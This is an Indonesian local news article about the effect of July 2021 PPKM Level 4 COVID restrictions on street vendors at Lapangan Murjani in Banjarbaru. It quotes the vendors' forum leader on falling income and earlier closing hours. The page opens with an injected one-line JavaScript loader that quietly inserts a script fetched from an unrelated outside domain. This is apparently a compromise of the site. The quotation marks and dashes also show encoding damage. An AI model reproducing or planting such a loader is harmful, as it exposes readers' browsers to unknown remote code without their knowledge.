(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Dua Hari PPKM Level 4 di Banjarbaru, Begini Nasib PKL di Lapangan Murjani

KANALKALIMANTAN.COM, BANJARBARU â€“ Sejak diberlakukannya PPKM Level 4 di Banjarbaru mulai Senin (26/7/2021), warga mulai merasakan dampaknya. Terlebih para pedagang kecil khususnya pedagang kaki lima (PKL) yang biasa mangkal di Lapangan Murjani.

Ketua PKL Forkamu (Forum Pedagang Kaki Lima Lapangan Murjani), Dian Wahyudi, kepada Kanalkalimantan.com mengatakan, ketatnya aturan menyebabkan penghasilan pedagang turun drastis.

â€œKami berjualan boleh di tempat, tapi pengunjung diberi waktu cuma 20 menit. Harus ketat banget untuk protokol kesehatan dan harus sudah tutup pukul 21.00 Wita. Kalo yang lesehan malah tidak boleh sama sekali,â€ ujarnya.

Dian menceritakan, keadaan penjualan saat PPKM Level 4 diberlakukan ini sangat menyedihkan.

â€œJalan sangat sepi, penurunan pendapat sudah pasti. Gimana orang-orang jajan? Sedangkan banyak yang takut untuk keluar karena kabar kematian yang disebabkan oleh Covid-19 ini, belum lagi RS yang tidak dapat menampung pasien lagi,â€ katanya, Selasa (27/7/2021) malam.

â€œKalau teman-teman pedagang lain ada yang masih jualan, kata mereka orang yang datang sangat sedikit. Beda jauh dengan sebelum diterapkannya PPKM Level 4 ini. Kalau saya sendiri tidak jualan, soalnya ngeri liat berita. Mana istri juga lagi sakit,â€ keluhnya.

â€œSangat tidak enak dengan pembatasan ini, apalagi untuk jam. Karena biasanya rame sampai jam 11 malam,â€ tambah Dian.(Kanalkalimantan.com/nurul)

Reporter: nurul
Editor: cell